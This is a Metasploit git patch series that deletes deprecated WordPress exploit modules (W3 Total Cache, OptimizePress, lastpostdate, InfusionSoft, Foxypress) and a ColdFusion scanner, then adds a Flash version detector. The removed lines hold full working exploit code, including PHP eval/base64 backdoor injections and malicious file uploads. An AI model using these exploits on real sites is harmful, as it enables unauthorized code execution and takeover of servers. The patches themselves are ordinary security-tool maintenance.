modules/exploits/unix/webapp/php_wordpress_total_cache.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb deleted file mode 100644 index 6486d80b29..0000000000 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ /dev/null @@ -1,210 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class Metasploit3 < Msf::Exploit::Remote - include Msf::HTTP::Wordpress - include Msf::Exploit::Remote::HttpClient - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec') - - Rank = ExcellentRanking - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wordpress W3 Total Cache PHP Code Execution', - 'Description' => %q{ - This module exploits a PHP Code Injection vulnerability against Wordpress plugin - W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older - is also reported as vulnerable. The vulnerability is due to the handling of certain - macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is - needed in order to add the malicious comment. If the POSTID option isn't specified, - then the module will automatically find or bruteforce one. Also, if anonymous comments - aren't allowed, then a valid username and password must be provided. In addition, - the "A comment is held for moderation" option on Wordpress must be unchecked for - successful exploitation. This module has been tested against Wordpress 3.5 and - W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system. - }, - 'Author' => - [ - 'Unknown', # Vulnerability discovery - 'juan vazquez', # Metasploit module - 'hdm', # Metasploit module - 'Christian Mehlmauer' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2013-2010' ], - [ 'OSVDB', '92652' ], - [ 'BID', '59316' ], - [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ], - [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ], - [ 'WPVDB', '6622' ] - ], - 'Privileged' => false, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Payload' => - { - 'DisableNops' => true, - }, - 'Targets' => [ ['Wordpress 3.5', {}] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Apr 17 2013' - )) - - register_options( - [ - OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]), - OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), - OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) - ], self.class) - - register_advanced_options( - [ - OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]), - OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000]) - ]) - end - - def require_auth? - @user = datastore['USERNAME'] - @password = datastore['PASSWORD'] - - if @user and @password and not @user.empty? and not @password.empty? - return true - else - return false - end - end - - def post_comment(text) - php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->" - - if @auth - uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie) - else - author = rand_text_alpha(8) - author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com" - author_url = rand_text_alpha(8) - uri = wordpress_post_comment_no_auth(php_payload, - @post_id, - author, - author_email, - author_url - ) - @unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url) - end - uri - end - - def exploit - unless wordpress_and_online? - fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site") - end - - @auth = require_auth? - - if @auth - print_status("#{peer} - Trying to login...") - @cookie = wordpress_login(@user, @password) - if @cookie.nil? - fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") - end - print_status("#{peer} - login successful") - else - print_status("#{peer} - Trying unauthenticated exploitation...") - end - - if datastore['POSTID'] and datastore['POSTID'] != 0 - @post_id = datastore['POSTID'] - print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") - else - print_status("#{peer} - Trying to get posts from feed...") - all_posts = wordpress_get_all_blog_posts_via_feed - # First try all blog posts provided by feed - if all_posts - all_posts.each do |p| - vprint_status("#{peer} - Checking #{p}...") - enabled = wordpress_post_comments_enabled?(p, @cookie) - @post_id = get_post_id_from_body(enabled) - if @post_id - print_status("#{peer} - Found Post POST ID #{@post_id}...") - break - end - end - end - # if nothing found, bruteforce a post id - unless @post_id - print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...") - min_post_id = datastore['MIN_POST_ID'] - max_post_id = datastore['MAX_POST_ID'] - @post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie) - if @post_id.nil? - fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") - else - print_status("#{peer} - Using the brute forced POST ID #{@post_id}...") - end - end - end - - random_test = rand_text_alpha(64) - @sum = Rex::Text.sha1(random_test) - - print_status("#{peer} - Injecting the PHP Code in a comment...") - text = Rex::Text::rand_text_alpha(10) - post_uri = post_comment(text) - if post_uri.nil? - fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned") - end - - print_status("#{peer} - Executing the payload...") - options = { - 'method' => 'GET', - 'uri' => post_uri, - 'headers' => { - 'Cmd' => Rex::Text.encode_base64(payload.encoded), - 'Sum' => random_test - } - } - options.merge!({'cookie' => @cookie}) if @auth - # Used to see anonymous, moderated comments - options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie - res = send_request_cgi(options) - if res and res.code == 301 - fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated") - end - - if res and !res.body.match(/#{Regexp.escape(text)}/) - fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated") - end - - end - - def check - res = wordpress_and_online? - unless res - vprint_error("#{peer} does not seeem to be Wordpress site") - return Exploit::CheckCode::Unknown - end - - if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/ - version = $1 - if version <= "0.9.2.8" - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe - end - end - - if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/) - return Exploit::CheckCode::Detected - end - - return Exploit::CheckCode::Safe - - end -end From 90cc3f7891cab6fc85ed7e9f9f3e1de5e58cb733 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 13 Jul 2015 12:45:39 -0500 Subject: [PATCH 0752/1013] Remove php_wordpress_optimizepress, use wp_optimizepress_upload Please use exploit/unix/webapp/wp_optimizepress_upload instead. --- .../webapp/php_wordpress_optimizepress.rb | 150 ------------------ 1 file changed, 150 deletions(-) delete mode 100644 modules/exploits/unix/webapp/php_wordpress_optimizepress.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb deleted file mode 100644 index b478a9ce48..0000000000 --- a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb +++ /dev/null @@ -1,150 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'uri' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::HTTP::Wordpress - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability', - 'Description' => %q{ - This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The - vulnerability is due to an insecure file upload on the media-upload.php component, allowing - an attacker to upload arbitrary PHP code. This module has been tested successfully on - OptimizePress 1.45. - }, - 'Author' => - [ - 'United of Muslim Cyber Army', # Vulnerability discovery - 'Mekanismen' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ], - [ 'WPVDB', '7441' ] - ], - 'Privileged' => false, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => [ ['OptimizePress', {}] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 29 2013' - )) - - register_advanced_options( - [ - OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress']) - ]) - end - - def check - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php') - }) - - if res and res.code == 200 and res.body.to_s =~ /Upload New Image/ - return Exploit::CheckCode::Appears - end - - return Exploit::CheckCode::Safe - end - - def exploit - uri = normalize_uri(target_uri.path) - - #get upload filepath - print_status("#{peer} - Getting the upload path...") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php') - }) - - unless res and res.code == 200 - fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") - end - - if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/ - file_path = $1 - else - fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath") - end - - #set cookie - cookie = res.get_cookies - - filename = rand_text_alphanumeric(8) + ".php" - - #upload payload - post_data = Rex::MIME::Message.new - post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"") - post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"") - post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"") - post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"") - - print_status("#{peer} - Uploading PHP payload...") - - n_data = post_data.to_s - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'), - 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, - 'data' => n_data, - 'headers' => { - 'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php" - }, - 'cookie' => cookie - }) - - unless res and res.code == 200 - fail_with(Failure::Unknown, "#{peer} - Unable to upload payload") - end - - print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...") - #get path to payload - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php') - }) - - unless res and res.code == 200 - fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") - end - - payload_url = "" - - if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/ - payload_url =$1 - else - fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload") - end - - begin - u = URI(payload_url) - rescue ::URI::InvalidURIError - fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'") - end - - register_files_for_cleanup(File::basename(u.path)) - - print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...") - send_request_cgi({ - 'method' => 'GET', - 'uri' => u.path - }) - end -end From b80427aed241722562373cafe65585a648fcb73b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 13 Jul 2015 12:49:27 -0500 Subject: [PATCH 0753/1013] Remove php_wordpress_lastpost, use wp_lastpost_exec instead. Please use exploit/unix/webapp/wp_lastpost_exec instead --- .../unix/webapp/php_wordpress_lastpost.rb | 82 ------------------- 1 file changed, 82 deletions(-) delete mode 100644 modules/exploits/unix/webapp/php_wordpress_lastpost.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb deleted file mode 100644 index 66ceaec01d..0000000000 --- a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb +++ /dev/null @@ -1,82 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::Tcp - include Msf::Exploit::Remote::HttpClient - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution', - 'Description' => %q{ - This module exploits an arbitrary PHP code execution flaw in the WordPress - blogging software. This vulnerability is only present when the PHP 'register_globals' - option is enabled (common for hosting providers). All versions of WordPress prior to - 1.5.1.3 are affected. - }, - 'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2005-2612'], - ['OSVDB', '18672'], - ['BID', '14533'], - ['WPVDB', '6034'] - ], - 'Privileged' => false, - 'Payload' => - { - 'DisableNops' => true, - 'Compat' => - { - 'ConnectionType' => 'find' - }, - 'Space' => 512 - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], - 'DisclosureDate' => 'Aug 9 2005', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('URI', [true, "The full URI path to WordPress", "/"]), - ], self.class) - end - - def exploit - - enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)" - str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x') - data = - "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+ - "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+ - "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+ - ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+ - "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+ - "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;" - - # Trigger the command execution bug - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), - 'cookie' => data - }, 25) - - if (res) - print_status("The server returned: #{res.code} #{res.message}") - else - print_status("No response from the server") - end - end - -end From dfbeb24a8f4ed6c9d019721029e3a85e8102ff5e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 13 Jul 2015 12:51:48 -0500 Subject: [PATCH 0754/1013] Remove php_wordpress_infusionsoft, use wp_infusionsoft_upload Please use exploit/unix/webapp/wp_infusionsoft_upload instead. --- .../unix/webapp/php_wordpress_infusionsoft.rb | 85 ------------------- 1 file changed, 85 deletions(-) delete mode 100644 modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb deleted file mode 100644 index 838043f5c2..0000000000 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ /dev/null @@ -1,85 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::HTTP::Wordpress - include Msf::Exploit::FileDropper - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload') - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wordpress InfusionSoft Upload Vulnerability', - 'Description' => %q{ - This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity - Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file - upload and remote code execution. - }, - 'Author' => - [ - 'g0blin', # Vulnerability Discovery - 'us3r777 <us3r777@n0b0.so>' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2014-6446'], - ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'], - ['WPVDB', '7634'] - ], - 'Privileged' => false, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]], - 'DisclosureDate' => 'Sep 25 2014', - 'DefaultTarget' => 0) - ) - end - - def check - res = send_request_cgi( - 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php') - ) - - if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/ - return Exploit::CheckCode::Detected - end - - Exploit::CheckCode::Safe - end - - def exploit - php_pagename = rand_text_alpha(8 + rand(8)) + '.php' - res = send_request_cgi({ - 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', - 'Infusionsoft', 'utilities', 'code_generator.php'), - 'method' => 'POST', - 'vars_post' => - { - 'fileNamePattern' => php_pagename, - 'fileTemplate' => payload.encoded - } - }) - - if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/ - print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") - register_files_for_cleanup(php_pagename) - else - fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") - end - - print_status("#{peer} - Calling payload ...") - send_request_cgi({ - 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', - 'Infusionsoft', 'utilities', php_pagename) - }, 2) - end - -end From 4960e64597f88b6a154d35c8243c8597e6bbe684 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 13 Jul 2015 12:53:34 -0500 Subject: [PATCH 0755/1013] Remove php_wordpress_foxypress, use wp_foxypress_upload Please use exploit/unix/webapp/wp_foxypress_upload instead. --- .../unix/webapp/php_wordpress_foxypress.rb | 88 ------------------- 1 file changed, 88 deletions(-) delete mode 100644 modules/exploits/unix/webapp/php_wordpress_foxypress.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb deleted file mode 100644 index 3970b9654f..0000000000 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ /dev/null @@ -1,88 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::HTTP::Wordpress - include Msf::Exploit::FileDropper - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload') - - def initialize(info = {}) - super(update_info( - info, - 'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution', - 'Description' => %q( - This module exploits an arbitrary PHP code execution flaw in the WordPress - blogging software plugin known as Foxypress. The vulnerability allows for arbitrary - file upload and remote code execution via the uploadify.php script. The Foxypress - plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable. - ), - 'Author' => - [ - 'Sammy FORGIT', # Vulnerability Discovery, PoC - 'patrick' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['EDB', '18991'], - ['OSVDB' '82652'], - ['BID', '53805'], - ['WPVDB', '6231'] - ], - 'Privileged' => false, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]], - 'DisclosureDate' => 'Jun 05 2012', - 'DefaultTarget' => 0)) - end - - def check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php') - ) - - return Exploit::CheckCode::Detected if res && res.code == 200 - - Exploit::CheckCode::Safe - end - - def exploit - post_data = Rex::MIME::Message.new - post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") - - print_status("#{peer} - Sending PHP payload") - - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'), - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", - 'data' => post_data.to_s - ) - - if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ - print_error("#{peer} - File wasn't uploaded, aborting!") - return - end - - filename = "#{Regexp.last_match[1]}.php" - - print_good("#{peer} - Our payload is at: #{filename}. Calling payload...") - register_files_for_cleanup(filename) - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename) - ) - - print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200 - end -end From e4e9ac9d28ce9a43c766487676ce8841dc4d1545 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 13 Jul 2015 12:56:46 -0500 Subject: [PATCH 0756/1013] Remove cold_fusion_version, use coldfusion_version instead Please use auxiliary/scanner/http/coldfusion_version instead. --- .../scanner/http/cold_fusion_version.rb | 130 ------------------ 1 file changed, 130 deletions(-) delete mode 100644 modules/auxiliary/scanner/http/cold_fusion_version.rb diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb deleted file mode 100644 index ef320c9026..0000000000 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ /dev/null @@ -1,130 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 6, 28), 'auxiliary/scanner/http/coldfusion_version') - - def initialize - super( - 'Name' => 'ColdFusion Version Scanner', - 'Description' => %q{ - This module attempts identify various flavors of ColdFusion up to version 10 - as well as the underlying OS. - }, - 'Author' => - [ - 'nebulus', # Original - 'sinn3r' # Fingerprint() patch for Cold Fusion 10 - ], - 'License' => MSF_LICENSE - ) - end - - def fingerprint(response) - - if(response.headers.has_key?('Server') ) - if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) - os = "Windows (#{response.headers['Server']})" - elsif(response.headers['Server'] =~ /Apache\//) - os = "Unix (#{response.headers['Server']})" - else - os = response.headers['Server'] - end - end - - return nil if response.body.length < 100 - - title = "Not Found" - if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/im) - title = $1 - title.gsub!(/\s/, '') - end - - return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) - - out = nil - - if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//) - v = $1 - out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995\-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ ) - out = "Adobe ColdFusion MX7" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2006 Adobe/) - out = "Adobe ColdFusion 8" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and - response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/) - out = "Adobe ColdFusion 10" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ or - response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/ or - response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1997\-2012 Adobe Systems\, Inc\. All rights reserved/) - out = "Adobe ColdFusion 9" - elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/) - out = $1.split(/,/)[0] - else - out = 'Unknown ColdFusion' - end - - if(title.downcase == 'coldfusionadministrator') - out << " (administrator access)" - end - - out << " (#{os})" - return out - end - - def run_host(ip) - - url = '/CFIDE/administrator/index.cfm' - - res = send_request_cgi({ - 'uri' => url, - 'method' => 'GET', - }) - - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - - if (res.code.to_i == 200) - out = fingerprint(res) - return if not out - if(out =~ /^Unknown/) - print_status("#{ip} " << out) - return - else - print_good("#{ip}: " << out) - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'tcp', - :ntype => 'cfversion', - :data => out - ) - end - elsif(res.code.to_i == 403 and datastore['VERBOSE']) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") - else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") - end - end - - rescue OpenSSL::SSL::SSLError - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - rescue ::Timeout::Error, ::Errno::EPIPE - end - -end From 493a6407865fb9191bd72eed62e0bd0eff5987fd Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 13 Jul 2015 13:44:12 -0500 Subject: [PATCH 0757/1013] remove bundled-with tag --- Gemfile.lock | 3 --- 1 file changed, 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 3e5d929d53..20788623a7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -247,6 +247,3 @@ DEPENDENCIES simplecov timecop yard - -BUNDLED WITH - 1.10.3 From 9116460cb06cb81f8c7a430637f79980b1150f5c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 13 Jul 2015 16:33:55 -0500 Subject: [PATCH 0758/1013] Add prototype with AS3 --- data/flash_detector/detector.swf | Bin 0 -> 801 bytes external/source/flash_detector/Detector.as | 36 ++++++ .../exploit/remote/browser_exploit_server.rb | 110 +++++++++++++----- 3 files changed, 117 insertions(+), 29 deletions(-) create mode 100644 data/flash_detector/detector.swf create mode 100755 external/source/flash_detector/Detector.as diff --git a/data/flash_detector/detector.swf b/data/flash_detector/detector.swf new file mode 100644 index 0000000000000000000000000000000000000000..e7a48d93691d0907316c7141d864790570b99d71 GIT binary patch literal 801 zcmV++1K#{vS5qC`1ONaK0{{SB001BW06YKujv4yj=Vl0?JwAo?b#KsqVKo~Xixy4a z1v37mOh!q!duw(1D_l1z3z0VgHxB9Y;ryOt+H4UaGwq-bc5tB0m@amJ@Zeci1_<fO z>!QZnT84W^-kDu!b~qNjlRVSVp3_xhTH3JNC+2)1J*>=-p>|kv2*_BK)@TdzxW~s5 zRX~U5S-?);A+G44YL3M0*f=<)^i{biPBGOIR$l<Z>YO&{zPAusrYQ+MNi=aD#T4!$ zPkS*y<NE;B@xS6PzC>6Mr~&jb2>K)qny&rD&(ESY3$E?lK{?1zUms&{I3Vb0<VS_* zF1j}Q^8?U=u{T<{ehV~&A$V*KJnI^`%Kh0}0?H#*zs>PAfZnw)6Q3%5yC1XyKaFMW zh();^#l%$yYUu1F6xNLje$A1ok9CORez%6DkmYl83$w83pe+7>tTq6gI*Z<$H1=`b zuAKe}IlLQ<S8o~m_Fg^&Q-VScLb8hzkv#ZuU3d!%5LVOXiT-lyBGF+YBc$|qCo+#; zUEAX*FyO-MdtWgzHzKLP*yA5!9tI(cMYsNRCJQ9|?0=Z3R{T2<t7@XzeC3~&<6-}) zFB+}F3|%({se3M9=I#OC5Qdpk8*}$>z*K{>h}f%=FRX71&F=|ENB4n{I3MQS;6FB; z%w2iKvPqvxFbM5*%MOZ9@|W~$RwJ}aOUKSO<xv1~IO#bnV#30~vj&fQ5+Fn(vZM=- z8KqA6k?jeD*M93r7#uSNXRJ=MYM|C$=%Wd^SxLq*gj#dN#!|0ug{UrNk*+ehX0rvP zpQ_7?krROD4ZImF#pYMSaHk>iSLaT<vm~_kkN#U!h~h?&B#3?R%e4H(^eJy-k#ccn zPL#3(malZs1#iRb(=?xOiOCHk;evL0BQszQBdaA|W5f6f@Fn;u&2#LsX~0VmZHcwT z)hRG^aPlwv33$`FaY30}Ky9&fmjB9lYWYXl3TW*1kJdKcHxN77*d`GcbGtx74G_wW fR%9(~StVC8dl-w$UO~H-tSNtxQXYVx{vnQkW;cXF literal 0 HcmV?d00001 diff --git a/external/source/flash_detector/Detector.as b/external/source/flash_detector/Detector.as new file mode 100755 index 0000000000..664ed66dd6 --- /dev/null +++ b/external/source/flash_detector/Detector.as @@ -0,0 +1,36 @@ +/* +Code to do flash version detection from ActionScript + +* How to build: + 1. Use Flex SDK 4.6 / AIRSDK 18 + 2. Build with: mxmlc -o msf.swf Exploit.as +*/ + +package +{ + import flash.display.Sprite + import flash.external.ExternalInterface + import flash.system.Capabilities + + public class Detector extends Sprite + { + + public function Detector() + { + var version:String = getVersion() + ExternalInterface.call("setFlashVersion", version) + } + + private function getVersion():String + { + try { + var version:String = flash.system.Capabilities.version + version = version.split(/ /)[1] + version = version.replace(/,/g, ".") + return version + } catch (err:Error) { + return "" + } + } + } +} diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a8c02ae479..a2e881795f 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ 